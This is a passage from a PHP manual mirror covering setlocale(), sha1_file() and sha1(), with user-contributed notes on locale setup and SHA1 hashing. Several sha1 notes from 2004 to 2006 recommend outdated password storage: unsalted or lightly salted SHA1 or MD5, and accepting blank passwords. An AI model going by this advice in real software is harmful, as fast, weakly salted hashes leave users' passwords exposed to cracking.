$text1 = rtrim($text, 'a..z');
$text1 = rtrim($text1, '.');
echo $text1; // only the '.' is trimmed.
$text2 = rtrim($text, 'a..z.');
echo $text2; // The whole last word is trimmed.
icon-phpnet at phy dot duke dot edu
02-Apr-2002 02:00
Not entirely. Perl's "chomp" will only remove the newline character, while rtrim without the second parameter will remove ALL whitespace. E.g. chomp("blah \n") will return "blah ", while rtrim("blah \n") will return "blah".
add a note add a note

后退 | 起点 | 前进
quotemeta | 上一级 | setlocale


setlocale

(PHP 3, PHP 4, PHP 5)

setlocale -- Set locale information

Description

string setlocale ( int category, string locale [, string ...] )

string setlocale ( int category, array locale )

category is a named constant (or string) specifying the category of the functions affected by the locale setting:

  • LC_ALL for all of the below

  • LC_COLLATE for string comparison, see strcoll()

  • LC_CTYPE for character classification and conversion, for example strtoupper()

  • LC_MONETARY for localeconv()

  • LC_NUMERIC for decimal separator (See also localeconv())

  • LC_TIME for date and time formatting with strftime()

注: As of PHP 4.2.0, passing category as a string is deprecated, use the above constants instead. Passing them as a string (within quotes) will result in a warning message.

If locale is NULL or the empty string "", the locale names will be set from the values of environment variables with the same names as the above categories, or from "LANG".

If locale is "0", the locale setting is not affected, only the current setting is returned.

If locale is an array or followed by additional parameters then each array element or parameter is tried to be set as new locale until success. This is useful if a locale is known under different names on different systems or for providing a fallback for a possibly not available locale.

注: Passing multiple locales is not available before PHP 4.3.0

Setlocale returns the new current locale, or FALSE if the locale functionality is not implemented on your platform, the specified locale does not exist or the category name is invalid. An invalid category name also causes a warning message. Category/locale names can be found in RFC 1766 and ISO 639. Different systems have different naming schemes for locales.

注: The return value of setlocale() depends on the system that PHP is running. It returns exactly what the system setlocale function returns.

警告

The locale information is maintained per process, not per thread. If you are running PHP on a multithreaded server api like IIS or Apache on Windows you may experience sudden changes of locale settings while a script is running although the script itself never called setlocale() itself. This happens due to other scripts running in different threads of the same process at the same time changing the processwide locale using setlocale().

提示: Windows users will find useful information about locale strings at Microsoft's MSDNwebsite. Supported language strings can be found at http://msdn.microsoft.com/library/default.asp?url=/library/en-us/vclib/html/_crt_language_strings.asp and supported country/region strings at http://msdn.microsoft.com/library/default.asp?url=/library/en-us/vclib/html/_crt_country_strings.asp. Windows systems support the three letter codes for country/region specified by ISO 3166-Alpha-3, which can be found at this Unicode website .

例子 1. setlocale() Examples

<?php
/* Set locale to Dutch */
setlocale(LC_ALL, 'nl_NL');

/* Output: vrijdag 22 december 1978 */
echo strftime("%A %e %B %Y", mktime(0, 0, 0, 12, 22, 1978));

/* try different possible locale names for german as of PHP 4.3.0 */
$loc_de = setlocale(LC_ALL, 'de_DE@euro', 'de_DE', 'de', 'ge');
echo "Preferred locale for german on this system is '$loc_de'";
?>

例子 2. setlocale() Examples for Windows

<?php
/* Set locale to Dutch */
setlocale(LC_ALL, 'nld_nld');

/* Output: vrijdag 22 december 1978 */
echo strftime("%A %d %B %Y", mktime(0, 0, 0, 12, 22, 1978));

/* try different possible locale names for german as of PHP 4.3.0 */
$loc_de = setlocale(LC_ALL, 'de_DE@euro', 'de_DE', 'deu_deu');
echo "Preferred locale for german on this system is '$loc_de'";
?>

add a note add a note User Contributed Notes
Sven K
08-Jun-2006 06:08
If your system doesn't show any installed locales by "locale -a", try installing them by "dpkg-reconfigure locales" (on debian).
beastie
06-Jun-2006 06:12
Note: "Different systems have different naming schemes for locales. The return value of setlocale() depends on the system that PHP is running. It returns exactly what the system setlocale function returns."

There are many other systems than Linux. It is nothing wrong with FreeBSD locale settings. All you have to know is the / your operating system ... ;-)
dr dot tarr at drtarr dot it
27-Mar-2006 11:55
FYI: setlocale() function works on linux only if  you use --enable-libgcc parameter in configure script.

I'm experience this in more than one Debian distro (sarge and woody).
jobcello at gmail dot com
11-Mar-2006 04:37
Apparently on FreeBSD locale support is not so great.

There can be problems setting the locale. For example,
<?
setlocale (LC_TIME,"pt_BR");
?>
at first didn't work for me.

Command to list all locales on the system...

locale -a

...which showed (in my case) that my needed locale was present, but with the charset appended to the locale name. ( ie: pt_BR.ISO8859-1, pt_BR.UTF-8 )

These locales are usually in folders at /usr/share/locale/

What I did to resolve the problem was create a symbolic link:

ln -s /usr/share/locale/pt_BR.ISO8859-1 /usr/share/locale/pt_BR

And it worked. There will probably be problems with pages with different encodings, so perhaps there's a better way, but if not, hope this is a help to someone.
09-Mar-2006 04:17
The example from bruno dot cenou at revues dot org below shows the possibility, but I want to spell it out: you can add charset info to setlocale.

Example:

Into my utf-8-encoded page I want to insert the name of the current month, which happens to be March, in German "Mrz" - with umlaut. If you use

   setlocale(LC_TIME, 'de_DE');
   echo strftime("%B");

this will return "M&auml;rz", but that html-entity will look like this on a utf-8 page: "M?rz". Not what I want.

But if you use

   setlocale(LC_TIME, 'de_DE.UTF8');  // note the charset info !
   echo strftime("%B");

this returns "Mrz", which, on utf-8, looks like it should: "Mrz".
sadike at gmail dot com
03-Mar-2006 07:00
For people who setlocale don't work on thier server, you can use the language name instead of its code.

<?php
setlocale('LC_TIME', 'french');
?>
bruno dot cenou at revues dot org
20-Feb-2006 10:31
A little function to test available locales on a sytem :

<?php
function list_system_locales(){
   ob_start();
   system('locale -a');
   $str = ob_get_contents();
   ob_end_clean();
   return split("\\n", trim($str));
}

$locale = "fr_FR.UTF8";
$locales = list_system_locales();

if(in_array($locale, $locales)){
       echo "yes yes yes....";
}else{
       echo "no no no.......";
}

?>
Edwin Martin
20-Feb-2006 08:29
Debian users: Addition to Gabor Deri's note: if setlocale doesn't work in your locale and you're on Debian, and Gabor Deri's note doesn't work, you have to install the locales package.

As root, type: "apt-get install locales" and it will be installed.
glenn at europlan dot no
30-Nov-2005 03:55
In most Unix/Linux system, you could use:

locale -a

This will list all available locales on the server.
birkholz at web dot de
15-Aug-2005 11:42
When i tried to get the current locale (e.g. after i set the lang to german with setlocale(LC_ALL, 'de_DE'); ), the following did not work on my suse linux 9.0-box:
$currentLocale = setlocale(LC_ALL, NULL);
This code did a reset to the server-setting.

$currentLocale = setlocale(LC_ALL, 0); works perfectly for me, but the manual says NULL and 0 are equal in this case, but NULL seems to act like "".
cdblog at gmail dot com
26-May-2005 01:39
When you use Smarty's html_select_date,
you can use setlocale(LC_TIME, string local) in your script before display the template file
then get the local month name,
also, you can copy the "plugins/function.html_select_date.php" to "plugins/function.html_select_date_local.php",
and modify the function name to smarty_function_html_select_date_local(former is smarty_function_html_select_date)

for more examples about this function, you can visit my php blog( http://php.clickz.cn/ ) to find more.

this resource's link is http://php.clickz.cn/articles/date/setlocale.html

example test:
<?php
setlocale(LC_TIME,"chs");

$smarty->display("setlocale.tpl");

?>

the setlocale.tpl's content
-------------------------
<html>
<head>My PHP Blog</head>
<body>
{ html_select_date_local prefix="" time=$smarty.get.date month_format="%B" all_extra="onChange='theFormSubmit();'" end_year=+1 }
</body>
</html>
pigmeu at pigmeu dot net
19-Oct-2004 04:42
!!WARNING!!

The "locale" always depend on the server configuration.

i.e.:
When trying to use "pt_BR" on some servers you will ALWAYS get false. Even with other languages.

The locale string need to be supported by the server. Sometimes there are diferents charsets for a language, like "pt_BR.utf-8" and "pt_BR.iso-8859-1", but there is no support for a _standard_ "pt_BR".

This problem occours in Windows platform too. Here you need to call "portuguese" or "spanish" or "german" or...

Maybe the only way to try to get success calling the function setlocale() is:
setlocale(LC_ALL, "pt_BR", "pt_BR.iso-8859-1", "pt_BR.utf-8", "portuguese", ...);

But NEVER trust on that when making functions like date conversions or number formating. The best way to make sure you are doing the right thing, is using the default "en_US" or "en_UK", by not calling the setlocale() function. Or, make sure that your server support the lang you want to use, with some tests.

Remember that: Using the default locale setings is the best way to "talk" with other applications, like dbs or rpc servers, too.

[]s

Pigmeu
dv at josheli dot com
13-Aug-2004 07:04
On Novell Netware, the language codes require hyphens, not underscores, and using anything other than LC_ALL doesn't work directly.

So... (from their support list)....

You have to set TIME, NUMERIC etc. info in two steps as given below rather than one. This is due to the limitation of setlocale function of LibC.
<?php
   setlocale(LC_ALL, 'es-ES');
   $loc = setlocale(LC_TIME, NULL);
   echo strftime("%A %e %B %Y", mktime(0, 0, 0, 12, 22, 1978));
  // jeuves 22 diciembre 1978
?>
This should work.

or of course, reset LC_ALL...
<?php
setlocale(LC_ALL, 'es-ES');
echo strftime("%A %e %B %Y", mktime(0, 0, 0, 12, 22, 1978));
setlocale(LC_ALL, '');
// jeuves 22 diciembre 1978
?>
bogdan at iHost dot ro
03-Mar-2004 06:53
On some systems (at least FreeBSD 4.x) the format for a `locale' is, for example, ro_RO.ISO8859-2. If you use ro_RO instead setlocale will return FALSE. Just browse in /usr/share/locale and see what is the name of the directory holding your `locale' and use that name in your scripts:

<?php
  clearstatcache();
  $pos = strrpos ($_SERVER["PHP_SELF"], "/");
  $fisier = substr ($_SERVER["PHP_SELF"], $pos + 1);
  $result = filemtime ($fisier);
  $local = setlocale (LC_TIME, 'ro_RO.ISO8859-2');
  if ($local == "ro_RO.ISO8859-2") {
   $modtime = strftime '%e&nbsp;%B&nbsp;%Y&nbsp;%H:%M', $result);
  } else {
   $modtime = strftime ('%d.%m.%Y&nbsp;%H:%M', $result);
  }
  printf ("Ultima&nbsp;actualizare: %s\\n", $modtime);
?>
mk at totu dot com
26-Jan-2004 08:59
Be carefull - setting a locale which uses commas instead of dots in numbers may cause a mysql db not to understand the query:
<?php
setlocale(LC_ALL,"pl");
$price = 1234 / 100; // now the price looks like 12,34
$query = mysql_query("SELECT Id FROM table WHERE price='".$price."'");
?>
Even if there is a price 12.34 - nothing will be found
r dot nospam dot velseboer at quicknet dot nospam dot nl
09-Sep-2002 10:02
be careful with the LC_ALL setting, as it may introduce some unwanted conversions. For example, I used

setlocale (LC_ALL, "Dutch");

to get my weekdays in dutch on the page. From that moment on (as I found out many hours later) my floating point values from MYSQL where interpreted as integers because the Dutch locale wants a comma (,) instead of a point (.) before the decimals. I tried printf, number_format, floatval.... all to no avail. 1.50 was always printed as 1.00 :(

When I set my locale to :

 setlocale (LC_TIME, "Dutch");

my weekdays are good now and my floating point values too.

I hope I can save some people the trouble of figuring this out by themselves.

Rob
Gabor Deri <gaborDOTderi at fuggetlen dot hu>
07-Aug-2002 12:31
IMPORTANT notice for DEBIAN linux users:

after the upgrade to the new stable (woody), you may have encountered that setlocale is not working at all, even though you have the files in the /usr/share/locale directory and everything was fine before the upgrade. in this case look at the /etc/locale.gen file, which contains the generated locales. if it is empty, you do not have any useful locales. to generate the needed locales run 'dpkg-reconfigure locales' as root and select the locales you need.
jorg-spamm at omnimedia dot no
04-Jul-2002 02:23
I needed to compile and install some extra locales to get this to work on RH7.3. Probably just me not doing a proper installation, but this is what it took to fix it:

localedef -ci no_NO -f ISO_8859-1 no_NO
elindset at hoved dot net
13-May-2002 05:59
In FreeBSD I had to use no_NO.ISO8859-1 instead of just no_NO..

<?PHP
   setlocale (LC_ALL, 'no_NO.ISO8859-1');
   echo strftime ("%A %e %B %Y", time());
?>
27-Jul-2001 06:34
Warning ! As specified in the man page, "The locale state is common to all threads within a process". This may be a limitation for PHP, because setlocale() stores this state within global variables shared by all threads instead of allocating a thread-level safe variable. If PHP runs in SAPI mode with enabled support for mulyithreading, this will break some PHP paradygmes... On some platforms only will the locale be set in thread-safe mode. Test your PHP installation in SAPI mode (integrated with a multithreaded web-server) by running concurrent scripts on the same web server, each of them setting a different locale and sleeping for a while before retreiving the current locale. This limitation does not applied to PHP running with a CGI interface (i.e. autonomous process).
misc dot anders at feder dot dk
19-Jun-2001 09:13
Under FreeBSD, locale definitions are stored in the /usr/share/locale/ directory. Danish time formats and weekdays, for instance, are stored in /usr/share/locale/da_DK.ISO_8859-1/LC_TIME.
Fabian dot Rodriguez at toxik dot com
15-Dec-2000 11:19
Language information is defined by this RFC:
RFC1766 - Tags for the Identification of Languages
 - http://www.ietf.org/rfc/rfc1766.txt

And the 2 letter codes come from:
ISO639: "Code for the representation of names of languages"
 - http://www.w3.org/WAI/ER/IG/ert/iso639.htm
ISO3166-1: "English country names and code elements"
 - http://www.din.de/gremien/nas/nabd/iso3166ma/codlstp1/index.html

Also note that the language name can be used in full (ex: setlocale('LC_TIME','swedish'); ) . This full name comes from the latest mentioned file.
noog at libero dot it
24-Nov-2000 07:13
On windows:
Control Panel->International Settings
You can set your locale and customize it
And locale-related PHP functions work perfectly
Morgan Christiansson &lt;mog at linux dot nu&gt;
29-Mar-2000 04:56
check /usr/share/locale/ if you want more info about the locale available with your *NIX box

there is also a file called /usr/share/locale/locale.alias with a list of aliases
such as swedish for sv_SE

so on all boxes i have accounts on (rh 6.0 and slack 3.4) you can just use setlocale("LC_ALL","swedish"); or other prefered language in plain english.

However, the weekdays were in all lowercase :(

Note: export LC_ALL=swedish made a lot of programs swedish for me, it's also possible to make them russian or japanese :)
Lucas Thompson <lucas at slf dot cx>
31-Jan-2000 06:57
The Open Group has an excellent document available on the setlocale() library function, most of which applies to the PHP function of the same name.

http://www.opengroup.org/onlinepubs/7908799/xbd/locale.html

WARNING: This document might be a little too complex for people who came from HTML to PHP.

If you migrated from the world of C programming you'll be a locale master after reading this document.
add a note add a note

后退 | 起点 | 前进
rtrim | 上一级 | sha1_file


sha1_file

(PHP 4 >= 4.3.0, PHP 5)

sha1_file -- Calculate the sha1 hash of a file

说明

string sha1_file ( string filename [, bool raw_output] )

Calculates the sha1 hash of filename using the US Secure Hash Algorithm 1, and returns that hash. The hash is a 40-character hexadecimal number.

参数

filename

The filename

raw_output

When TRUE, returns the digest in raw binary format with a length of 20. Defaults to FALSE.

返回值

Returns a string on success, FALSE otherwise.

更新日志

版本 | 说明
5.0.0 | Added the raw_output parameter
5.1.0 | Changed the function to use the streams API. It means that you can use it with wrappers, like sha1_file('http://example.com/..')

参见

sha1()
md5_file()
crc32()

add a note add a note User Contributed Notes
gubatron at gmail dot com
10-Feb-2006 11:02
P2P programs like LimeWire utilize sha1 to identify files. However they do it in base32. Here's an utility class if you want to write a Gnutella client in PHP5

/**
Utility base32 SHA1 class for PHP5
Copyright (C) 2006  Karl Magdsick (original author for Python)
                   Angel Leon (ported to PHP5)
                   Lime Wire LLC

This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; either version 2
of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
*/
class SHA1 {
  static $BASE32_ALPHABET = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567';

  /** Given a file it creates a magnetmix */
  static function fileSHA1($file) {
   $raw = sha1_file($file,true);
   return SHA1::base32encode($raw);
  } //fileSHA1

  /** Takes raw input and converts it to base32 */
  static function base32encode($input) {
   $output = '';
   $position = 0;
   $storedData = 0;
   $storedBitCount = 0;
   $index = 0;

   while ($index < strlen($input)) {
     $storedData <<= 8;
     $storedData += ord($input[$index]);
     $storedBitCount += 8;
     $index += 1;

     //take as much data as possible out of storedData
     while ($storedBitCount >= 5) {
       $storedBitCount -= 5;
       $output .= SHA1::$BASE32_ALPHABET[$storedData >> $storedBitCount];
       $storedData &= ((1 << $storedBitCount) - 1);
     }
   } //while

   //deal with leftover data
   if ($storedBitCount > 0) {
     $storedData <<= (5-$storedBitCount);
     $output .= SHA1::$BASE32_ALPHABET[$storedData];
   }

   return $output;
  } //base32encode

}
add a note add a note

后退 | 起点 | 前进
setlocale | 上一级 | sha1


sha1

(PHP 4 >= 4.3.0, PHP 5)

sha1 -- Calculate the sha1 hash of a string

Description

string sha1 ( string str [, bool raw_output] )

Calculates the sha1 hash of str using the US Secure Hash Algorithm 1, and returns that hash. The hash is a 40-character hexadecimal number. If the optional raw_output is set to TRUE, then the sha1 digest is instead returned in raw binary format with a length of 20.

注: The optional raw_output parameter was added in PHP 5.0.0 and defaults to FALSE

例子 1. A sha1() example

<?php
$str = 'apple';

if (sha1($str) === 'd0be2dc421be4fcd0172e5afceea3970e2f3d940') {
    echo "Would you like a green or red apple?";
    exit;
}
?>

See also sha1_file(),
crc32(), and
md5()

add a note add a note User Contributed Notes
erling dot westenvik at gmail dot com
17-May-2006 09:15
Regarding php at REMOVEMEkennel17 dot co dot uk's note below:

The phrase: "To get the correct behaviour", would perhaps be better off if it read: "To get the wanted (but not recommended) behaviour".

Always honor the expected data types for functions: sha1 expects a string as input, and returns a string on exit. NULL, TRUE and FALSE are not string data types. The string "" is a string as good as "any". By following the "logic" that sha1("") should return "", then what should sha1("a") return? "b"? "c"?

An authentication system that allows for blank passwords is not really an authentication system in the first place. What you are describing is merely a way to tell the application that you want to see data in some specific context, like sorted by user name, etc. Create other tools for this purpose and leave the authentication system to deal with what it is supposed to do: Granting users access to restricted data and blocking other users from seeing the same data.

Don't store passwords in clear text, but salt and encrypt them. That way it makes perfect sense having <?php $sStoredPwd === sha1($sStoredSalt . $_POST["sTypedPwd"]); ?>, even with a blank "password". No other person than the user itself, not even the programmer, should know the password or be able to guess it. If the user forgets the password, a new one must be generated.

Regards,
Erling
spam at barad-dur dot nl
23-Oct-2005 07:59
For servers that don't have the mhash or crypto++-php extensions I wrote an implementation of the SHA256 algorithm as found in the FIPS 180-2 standard.
Source code can be found at http://dev.barad-dur.nl/sha256/
php at REMOVEMEkennel17 dot co dot uk
20-Sep-2005 09:52
It should be noted that sha1("") does not return an empty string.  This means that if you are running a system that does not require users to have a password, the following code will not work as expected:

<?php
if ($StoredPassword == sha1($NewPassword))
   // Password good
?>

If $StoredPassword and $NewPassword are both blank, then the password should be treated as good, but because sha1("") != "" it will be treated as bad. To get the correct behaviour you need to use:

<?php
if (($StoredPassword == "" && $NewPassword == "") || ($StoredPassword == sha1($NewPassword)))
   // Password good
?>

(Note: I use a custom IsBlank() function instead of comparison against the empty string, so NULL values are also matched.)

For reference, here are a couple of special values put through sha1().  Note that sha1("") == sha1(NULL) == sha1(false), and also that sha1(0) != sha1(false)

"" -> da39a3ee5e6b4b0d3255bfef95601890afd80709
NULL -> da39a3ee5e6b4b0d3255bfef95601890afd80709
0 -> b6589fc6ab0dc82cf12099d1c2d40ab994e8410c
1 -> 356a192b7913b04c54574d18c28d46e6395428ab
false -> da39a3ee5e6b4b0d3255bfef95601890afd80709
true -> 356a192b7913b04c54574d18c28d46e6395428ab
Dan
06-Sep-2005 01:12
I've noticed websites are now starting to require passwords of a certain length that MUST contain at least 1 non-alphanumeric character. This in itself makes dictionary attacks kind of useless. My web site requires that as well. It uses md5, and appends a site code into the md5 as well. And the include file that contains that site key is outside the public folders. I sure hope I've done enough to keep the bad boys out.
arachnid at notdot dot net
01-Sep-2005 04:12
WTM's post below is misinformed. The purpose of adding the random data (known as a 'salt', as multiple posters have pointed out further below) is to prevent dictionary based attacks, allowing the attacker use a pre-prepared database of passwords and hashes against all your stored passwords, instead of having to recalculate for each user.

Adding the salt in a more 'complicated' way is a poor security tactic - if the attacker discovers your method, the security advantage is lost, and you have no way of changing it without rehashing all your passwords.
WTM
03-Aug-2005 10:30
Actually, the post by Helpful Harry won't improve your security except for the most simple break in attempts.  Since the random seed is attached to the end of the password hash, if you steal the hashed password, you steal the seed.

That means you can write a simple php program to call the pw_check function Harry included from a loop, feeding it dictionary words or random characters.

Of course, if you modified the program to use the seed in a more complicated way, "they" would have to know the new function's operation.  But then again, if someone can steal your password database, they can probably steal your website code (or guess it).
Helpful Harry
07-Jul-2005 01:21
check out these randomized sha1 password storage functions, they output a string of 50 characters, the first 40 characters being a sha1 output based on the last 10 characters - those being a random seed

to encode a password run pw_encode with the password, it'll return a different pseudo-random string every time - store this value.

to check a password run pw_check with the password attempt and the stored value, it'll return true on a match and false otherwise

these functions eliminate the pesky problem of dictionary matches being run on your password lists

<?php

function pw_encode($password)
{
   for ($i = 1; $i <= 10; $i++)
       $seed .= substr('0123456789abcdef', rand(0,15), 1);
   return sha1($seed.$password.$seed).$seed;
}

function pw_check($password, $stored_value)
{
   if (strlen($stored_value) != 50)
     return FALSE;
   $stored_seed = substr($stored_value,40,10);
   if (sha1($stored_seed.$password.$stored_seed).$stored_seed == $stored_value)
     return TRUE;
   else
     return FALSE;
}

?>
alex at milivojevic dot org
29-Apr-2005 05:12
Regarding my previous comment, if you want to be on the safe side and use only ASCII printable seeds (shouldn't matter for SSHA seeds), something like this could be used:

<?php
$salt = substr(base64_encode(pack("H*", sha1(mt_rand()))), 0, 4);
?>
alex at milivojevic dot org
29-Apr-2005 01:45
If you don't have mhash library and/or PHP module (for example, Red Hat systems, which includes Fedora), and you don't feel like adding it, you can use something like this to generate and verify SSHA hashes.

<?php

$password = "test";

// Generate SSHA hash
mt_srand((double)microtime()*1000000);
$salt = pack("CCCC", mt_rand(), mt_rand(), mt_rand(), mt_rand());
$hash = "{SSHA}" . base64_encode(pack("H*", sha1($password . $salt)) . $salt);
echo $hash . "\n";

// Verify SSHA hash
$ohash = base64_decode(substr($hash, 6));
$osalt = substr($ohash, 20);
$ohash = substr($ohash, 0, 20);
$nhash = pack("H*", sha1($password . $osalt));
if ($ohash == $nhash) {
   echo "Password OK\n";
 } else {
   echo "Password verifiaction failed\n";
 }

?>
Keamos at gmail dot com
05-Mar-2005 06:19
Or, you could use cryptopp-php (a PHP version of crypto++), which you can get at http://bugs.tutorbuddy.com/versions.php/cryptopp-php

It supports (for hashing):

MD2
MD4
MD5
RIPEMD-128
RIPEMD-160
RIPEMD-256
RIPEMD-320
SHA1
SHA-256
SHA-384
SHA-512
Tiger
Whirlpool
(SHA256/384/512, Tiger and Whirlpool only on systems using word64)
svn at datapirate dot de
20-Feb-2005 09:26
Wanna use SHA-2 algorithm? Try this:

Download Tar-Ball from http://www.adg.us/computers/sha.html
Compile (may occur some warnings) and test it:

cc -O2 -DSHA2_UNROLL_TRANSFORM -Wall -o sha2 sha2prog.c sha2.c
./sha2test.pl

Copy it to /usr/local/bin/ (don't forget to check permissions)

Here are two functions that could be used with:

function sha2($bits, $string){
   $sha2bin="/usr/local/bin/sha2";
   $echocmd="echo";
   if(!in_array($bits, array(256, 384, 512)))return(false);
   $r=exec($echocmd." ".escapeshellarg($string)."|".$sha2bin." -q -".$bits, $sha2);
   return($sha2[0]);
}

function sha2_file($bits, $filename){
   $sha2bin="/usr/local/bin/sha2";
   if(!in_array($bits, array(256, 384, 512)))return(false);
   if(!file_exists($filename)||!is_readable($filename))return(false);
   $r=exec($sha2bin." -q -".$bits." ".escapeshellarg($filename), $sha2);
   return($sha2[0]);
}

and use it like below:

<?php
$str = 'apple';
if (sha2(256, $str) === '303980bcb9e9e6cdec515230791af8b0ab1aaa244b58a8d99152673aa22197d0') {
   echo "Would you like a green or red apple?";
   exit;
}
?>
dayoman at webfreax dot nl
17-Feb-2005 07:04
SHA-1 almost followed SHA-0:http://www.schneier.com/blog/archives/2005/02/sha1_broken.html
mina86 at tlen dot pl
10-Jan-2005 12:17
I did my own implementation of SHA-1 algorithm, which is faster (more then 10 times according to my benchamrk) then both, SHA1Lib and sinatosk's implementation. My library uses mhash if available as described by labarks. You can get it from CVS: http://cvs.sourceforge.net/viewcvs.py/yggdrasil-cms/ -> yggdrasil/include/sha1.inc.php (no direct link due to site's limitations) note, however, that the web interface to view the CVS files has some delay.
hans at pennywaffer dot net
20-Dec-2004 12:18
You can also use sha1() to create a fixed sized ID based on the folderpath containing the performing script. Imagine an environment where multiple instances of a script are running simultaneously, making use of session variables (a good example would be thumbnaildirectories that each contain an instance of a thumbnailmanager). To prevent your $_SESSION array from getting influenced by other scripts that are on the same server and run from the same browserwindow (and thus having the same session ID), use the following approach:

session_start();
$myDir = sha1(dirname(__FILE__));
$_SESSION[$myDir]['var'] = etc;

instead of just using $_SESSION['var'] = etc;

This way your userauthentication and shoppingcart data won't get mixed up. The use of sha1() also prevents strange symbols or spaces in the folderpath messing up the ID, and makes sure the ID has a constant size  regardless the length of the path.
sinatosk at gmail dot com
23-Nov-2004 04:43
Heres an SHA1 function that will work on it's own completely. This is for users who are using below PHP 4.3.0. it works same as PHP5 ( being able to return raw output ).

<?php

/*
** Date modified: 1st October 2004 20:09 GMT
*
** PHP implementation of the Secure Hash Algorithm ( SHA-1 )
*
** This code is available under the GNU Lesser General Public License:
** http://www.gnu.org/licenses/lgpl.txt
*
** Based on the PHP implementation by Marcus Campbell
** http://www.tecknik.net/sha-1/
*
** This is a slightly modified version by me Jerome Clarke ( sinatosk@gmail.com )
** because I feel more comfortable with this
*/

function sha1_str2blks_SHA1($str)
{
   $strlen_str = strlen($str);

   $nblk = (($strlen_str + 8) >> 6) + 1;

   for ($i=0; $i < $nblk * 16; $i++) $blks[$i] = 0;

   for ($i=0; $i < $strlen_str; $i++)
   {
       $blks[$i >> 2] |= ord(substr($str, $i, 1)) << (24 - ($i % 4) * 8);
   }

   $blks[$i >> 2] |= 0x80 << (24 - ($i % 4) * 8);
   $blks[$nblk * 16 - 1] = $strlen_str * 8;

   return $blks;
}

function sha1_safe_add($x, $y)
{
   $lsw = ($x & 0xFFFF) + ($y & 0xFFFF);
   $msw = ($x >> 16) + ($y >> 16) + ($lsw >> 16);

   return ($msw << 16) | ($lsw & 0xFFFF);
}

function sha1_rol($num, $cnt)
{
   return ($num << $cnt) | sha1_zeroFill($num, 32 - $cnt);
}

function sha1_zeroFill($a, $b)
{
   $bin = decbin($a);

   $strlen_bin = strlen($bin);

   $bin = $strlen_bin < $b ? 0 : substr($bin, 0, $strlen_bin - $b);

   for ($i=0; $i < $b; $i++) $bin = '0'.$bin;

   return bindec($bin);
}

function sha1_ft($t, $b, $c, $d)
{
   if ($t < 20) return ($b & $c) | ((~$b) & $d);
   if ($t < 40) return $b ^ $c ^ $d;
   if ($t < 60) return ($b & $c) | ($b & $d) | ($c & $d);

   return $b ^ $c ^ $d;
}

function sha1_kt($t)
{
   if ($t < 20) return 1518500249;
   if ($t < 40) return 1859775393;
   if ($t < 60) return -1894007588;

   return -899497514;
}

function sha1($str, $raw_output=FALSE)
{
   if ( $raw_output === TRUE ) return pack('H*', sha1($str, FALSE));

   $x = sha1_str2blks_SHA1($str);
   $a =  1732584193;
   $b = -271733879;
   $c = -1732584194;
   $d =  271733878;
   $e = -1009589776;

   $x_count = count($x);

   for ($i = 0; $i < $x_count; $i += 16)
   {
       $olda = $a;
       $oldb = $b;
       $oldc = $c;
       $oldd = $d;
       $olde = $e;

       for ($j = 0; $j < 80; $j++)
       {
           $w[$j] = ($j < 16) ? $x[$i + $j] : sha1_rol($w[$j - 3] ^ $w[$j - 8] ^ $w[$j - 14] ^ $w[$j - 16], 1);

           $t = sha1_safe_add(sha1_safe_add(sha1_rol($a, 5), sha1_ft($j, $b, $c, $d)), sha1_safe_add(sha1_safe_add($e, $w[$j]), sha1_kt($j)));
           $e = $d;
           $d = $c;
           $c = sha1_rol($b, 30);
           $b = $a;
           $a = $t;
       }

       $a = sha1_safe_add($a, $olda);
       $b = sha1_safe_add($b, $oldb);
       $c = sha1_safe_add($c, $oldc);
       $d = sha1_safe_add($d, $oldd);
       $e = sha1_safe_add($e, $olde);
   }

   return sprintf('%08x%08x%08x%08x%08x', $a, $b, $c, $d, $e);
}

?>
rsemirag at yahoo dot com
03-Nov-2004 02:34
If you're struggling to generate an SHA encoded password for LDAP (PHP < 5.0), what you end up needing is this:

$userpassword = base64_encode(pack("H*", sha1($pass)));

I found this in the OpenLDAP FAQ (many thanks to Google and Ace), though I'm using the iPlanet LDAP server.

Ray Semiraglio
brian_bisaillon at rogers dot com
26-Feb-2004 12:19
Source code to create SSHA passwords...

public function HashPassword($password)
{
  mt_srand((double)microtime()*1000000);
  $salt = mhash_keygen_s2k(MHASH_SHA1, $password, substr(pack('h*', md5(mt_rand())), 0, 8), 4);
  $hash = "{SSHA}".base64_encode(mhash(MHASH_SHA1, $password.$salt).$salt);
  return $hash;
}

Source code to validate SSHA passwords...

public function ValidatePassword($password, $hash)
{
  $hash = base64_decode(substr($hash, 6));
  $original_hash = substr($hash, 0, 20);
  $salt = substr($hash, 20);
  $new_hash = mhash(MHASH_SHA1, $password . $salt);
   if (strcmp($original_hash, $new_hash) == 0)
     ... do something because your password is valid ...
  else
   echo 'Unauthorized: Authorization has been refused for the credentials you provided. Please login with a valid username and password.';
   ... be sure to clear your session data ...
}

Note: The format is compatible with OpenLDAP's SSHA scheme if I'm not mistaken.
mark at dot BANSPAM dot pronexus dot nl
30-Jan-2004 10:28
Looking for a simple function to implement HMAC-SHA1 but don't want to use the entire PEAR Message lib?

//Calculate HMAC-SHA1 according to RFC2104
// http://www.ietf.org/rfc/rfc2104.txt
function hmacsha1($key,$data) {
   $blocksize=64;
   $hashfunc='sha1';
   if (strlen($key)>$blocksize)
       $key=pack('H*', $hashfunc($key));
   $key=str_pad($key,$blocksize,chr(0x00));
   $ipad=str_repeat(chr(0x36),$blocksize);
   $opad=str_repeat(chr(0x5c),$blocksize);
   $hmac = pack(
               'H*',$hashfunc(
                   ($key^$opad).pack(
                       'H*',$hashfunc(
                           ($key^$ipad).$data
                       )
                   )
               )
           );
   return bin2hex($hmac);
}

It is very useful for client-authentication. see also http://cookies.lcs.mit.edu/pubs/webauth:tr.pdf
Optionally you can change $hashfunc to 'md5' to make this an HMAC-MD5 function ;-)
If you want raw or base64 output instead of hexadecimal, just change the last return line.

Cheers,
Mark

p.s. the "$hmac =" line used to be 1 line but I had to cut it up in order to fit it here ;)
labarks
15-Nov-2003 07:06
Append this to the your sha1lib file to make it more portable.  If your version of php does support sha1() then it will try to use Mhash or else it will use the sha1lib.  Use $sha1 if you want to display which is being used.

if ( function_exists('sha1') )
   $sha1 = "sha1";

if ( !function_exists('sha1') && function_exists('mhash'))
{
